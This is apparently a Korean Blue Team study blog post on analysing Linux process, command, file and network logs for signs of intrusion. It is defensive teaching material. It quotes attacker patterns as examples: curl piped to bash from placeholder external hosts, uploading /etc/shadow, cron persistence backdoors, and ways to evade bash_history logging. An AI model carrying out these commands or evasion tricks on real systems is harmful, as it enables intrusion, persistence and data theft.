| 일 | 월 | 화 | 수 | 목 | 금 | 토 |
|---|---|---|---|---|---|---|
| 1 | 2 | |||||
| 3 | 4 | 5 | 6 | 7 | 8 | 9 |
| 10 | 11 | 12 | 13 | 14 | 15 | 16 |
| 17 | 18 | 19 | 20 | 21 | 22 | 23 |
| 24 | 25 | 26 | 27 | 28 | 29 | 30 |
| 31 |
- SoC
- http
- 보안 관제
- 모의해킹
- Cyber Security
- linux
- OverTheWire
- 해킹 스터디
- 정보보안
- CTF
- 워게임
- TryHackMe
- THM
- 해킹
- Bandit
- Web
- 해커
- Blue Team
- XSS
- 사이버 보안
- 보안 스터디
- cert
- Cross-Site Scripting
- 리눅스 기초
- 블루팀
- web hacking
- 리눅스
- IR
- write-up
- 정보보호
- Today
- Total
AnbyMata의 해킹 노트
[Blue Team] EP.10 - 프로세스 / 명령 / 파일 / 네트워크 분석 본문
[Blue Team] EP.10 - 프로세스 / 명령 / 파일 / 네트워크 분석
AnbyMata 2026. 5. 1. 22:00[10-1] 프로세서와 명령 로그의 정보
프로세스와 명령 로그 = 공격자의 실제 행위 흔적
- 실행 파일 경로 : 정상 (`/usr/bin`), 의심 (`/tmp`, `/dev/shm`)
- 명령 인자 : 실행한 옵션 및 대상 (파일 다운로드, 특정 IP 접속...)
- 부모-자식 관계 (PPID) : 프로세스를 실행한 근원 추적 = 공격 흐름 추적
- UID / EUID : 실행한 권한 파악 = 권한 상승 여부 확인
각 공격 단계의 명령어들
1. Reconnaissance (정찰)
- `id`, `whoami`, `uname -a`, `ps`, `netstat`
→ 시스템/네트워크 정보 수집
2. Execution (실행)
- `bash`, `sh`, `python3`, `perl`
→ 악성 코드 실행
3. Download (도구 확보)
- `curl`, `wget`, `scp`, `sftp`
→ 외부에서 파일 가져오기
4. Persistence (지속성 확보)
- `crontab`, `systemctl enable`, `useradd`
→ 재부팅 후에도 유지
5. Exfiltration (정보 유출)
- `scp`, `rsync`, `curl -F`, `nc`
→ 데이터 외부로 전송
[10-2] bash_history 한계점
bash_history = 사용자가 터미널에서 입력한 명령어 기록 파일
우회 방법
- 비대화형 shell (ex. 스크립트 실행) → 기록 안 남음
- 환경변수 조작 (`HISFILE=unset`) → 기록 비활성화
- 기록 타이밍 → 세션 종료 시점에 저장 (실시간이 아님)
- 우회 실행 (`sh script.sh`) → 기록이 안 남을 수 있음
- 삭제 → `history -c`, `.bash_history` 파일 삭제
보강 방법
- auditd (execve) : 커널 레벨 명령 실행 기록 → 삭제/조작 어려움
- EDR Telemetry : 부모-자식 프로세스 + 전체 커맨드 라인
- sudo 로그 : 권한 상승 흔적 (auth.log)
- 서비스 로그 (journald, nginx, cron) : 서비스/시스템 단위 행위 확인
[10-3] 외부 파일 이동 흔적
`curl` / `wget` = 파일 다운로드 / HTTP 통신
`scp` / `sftp` = 원격 서버와 파일 전송
위험 패턴
- `curl http://[외부IP]/a.sh | bash`
→ 외부 IP에서 스크립트 다운 후 즉시 실행
- `/tmp`, `/dev/shm`, `/var/tmp` 등의 비정상 경로 저장
→ 임시 및 은닉의 목적
- `/etc/passwd`, `/etc/shadow` 등을 POST 요청으로 업로드
→ 민감 정보 외부 전송
- `scp user@IP:path`
→ 원격 서버로 파일 전송 → 데이터 유출 가능성
[10-4] 즉시 실행 & 은닉 실행 패턴
1. `curl`
- 외부에서 데이터/파일 다운로드
- HTTP 요청 가능 → 유출에도 사용
2. `chmod +x`
- 파일에 실행 권한 부여
- 다운로드 파일을 즉시 실행 가능 상태로 변경
3. `sh -c` / `bash -c`
- 문자열을 명령으로 직접 실행
- 파일 없이 코드 실행 가능
4. `nohup &`
- 백그라운드 실행
- 터미널 종료 후에도 계속 실행됨
5. `/dev/null`
- 출력/에러를 버림 → 로그 숨기기
6. `base64 -d`
- 인코딩된 문자열을 디코딩
- 내용을 숨겨 탐지 우회
[10-5] 위험 경로 & 숨김 파일
`/tmp`
- 모든 사용자에게 쓰기 기능 주어짐
- 재부팅 시 초기화 → 임시 실행 / 악성 스크립트 투하 위치
`/var/tmp`
- `/tmp`와 유사하지만, 재부팅 시에도 유지됨 → 지속성 확보용 경로
`/dev/shm`
- 메모리 기반 파일 시스템
- 디스크에 흔적 거의 없음 → 포렌식 회피
dot file (`.`으로 시작하는 파일)
- 기본 `ls`에서 안보임 → 숨겨진 파일 저장
탐지 명령
`find /tmp /var/tmp /dev/shm -type f -perm /111`
- `/tmp`, `/var/tmp`, `/dev/shm`에서 실행 권한 있는 파일 찾기
`find /tmp /home -name ".*" -type f`
- 이름이 `.`로 시작하는 숨겨진 파일 찾기
`find /tmp -mtime -1 -ls`
- `/tmp`에서 최근에 변경된 파일 찾기
[10-6] 지속성(Persistence) 확보
1. cron (반복 실행)
- 일정 주기로 자동 실행 → 백도어 계속 유지
- `(root) CMD (curl [외부_URL] | bash)`
- `(root) CMD ([/tmp_경로] >/dev/null 2>&1)`
2. systemctl (서비스 등록)
- 서비스로 등록 → 재부팅 후에도 실행
- ExecStart=/tmp/... 설정
- systemctl enable 설정
- Restart=always 설정
[10-7] 공격 흐름
1. auth.log - 로그인 성공
2. sudo.log - root 권한 획득
3. auditd - `curl`로 파일 다운로드
4. auditd - `chmod` + 실행
5. cron - 지속 실행 확보
6. network - 외부 C2 연결
[Blue Team] EP.10 - 프로세스 / 명령 / 파일 / 네트워크 분석. END.
'Blue Team (SOC) > Linux Log Analysis' 카테고리의 다른 글
| [Blue Team] EP.9 - 권한 상승 분석 (0) | 2026.04.24 |
|---|---|
| [Blue Team] EP.8 - 로그인 및 인증 로그 분석 (0) | 2026.04.22 |
| [Blue Team] EP.7 - Linux 로그 구조 및 파일 체계 (3) | 2026.04.20 |
| [Blue Team] EP.6 - Linux 로그 기초 (0) | 2026.04.19 |